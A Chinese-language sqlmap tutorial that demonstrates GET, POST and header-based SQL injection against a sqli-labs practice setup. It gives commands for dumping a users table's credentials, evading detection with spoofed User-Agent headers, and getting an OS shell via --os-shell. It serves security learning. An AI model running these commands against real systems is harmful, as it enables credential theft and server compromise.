一.GET型注入
介绍:注入点在URL里的称之为GET型注入。
单目标
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1"
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1&page=10" -p page
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1&page=10" -p page --batch
- -u:指定URL
- -p:指定注入点
- --batch:自动化测试
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns
- --dbs:获取数据库名
- --tables:获取数据库表名
- --columns:获取数据库字段名
sqlmap.py
-u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C id,username,password --dump
-
-D:指定要操作的数据库名称
-
-T:指定目标数据库中的表名
-
-C:指定要提取的列名
-
--dump:拖库
-
执行结果保存在用户文件夹下的AppData\Local\sqlmap\output\127.0.0.1\dump\users.csv
-
多目标
-
把要测试的URL保存在txt里,然后使用-m参数执行txt
sqlmap.py -m test.txt
其他情况
-
需要登录
sqlmap.py –u "http://test.com/index.php?id=1" --cookie "name=xxx;sessid=abc" –dbs
- --cookie要测试的页面只有在登录状态下才能访问,登录状态用cookie识别
-
GET型注入ua头会带有明显的sqlmap标识,以使用--random-agent参数随机使用User-agent头,也可以自己指定ua头。
-
sqlmap.py -u "http://test.com/index.php?id=1" --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0"
-
二.POST型注入
介绍:注入点在POST数据里称之为POST型注入
-
将请求包抓取并保存到txt里
sqlmap.py –r test.txt –p uname
-
-r:用于指定一个包含完整 HTTP 请求内容的文本文件,例如:
POST /login.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded uname=testuser&password=testpass
-
-p:指定注入点
-
三.head头注入
-
介绍:SQLmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高可到5
-
语句示例:
sqlmap.py -u "http://127.0.0.1/sqli/Less-20/index.php" --cookie "uname=Dumb" --level 2 --dbs
- --cookie:用于指定要在请求中携带的 cookie 值
- --level:指定测试等级,取值范围是 1 到 5,数字越大检测越全面深入
- --dbs:获取目标网站所使用的数据库
- --os-shell:获取目标操作系统控制权
四.getshell
-
前提:
root权限
secure_file_priv配置为空(在my.ini里查看)
知道网站的绝对路径
有写的权限 -
语句示例:
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-shell
-
完整路径:
E:/PHPstudy/PhpStudy20180211/PHPTutorial/WWW/sqli-labs-master
- PS:必须将原路径的反斜杠(\)改成斜杠(/)
-
secure_file_priv配置为空(重启生效)
-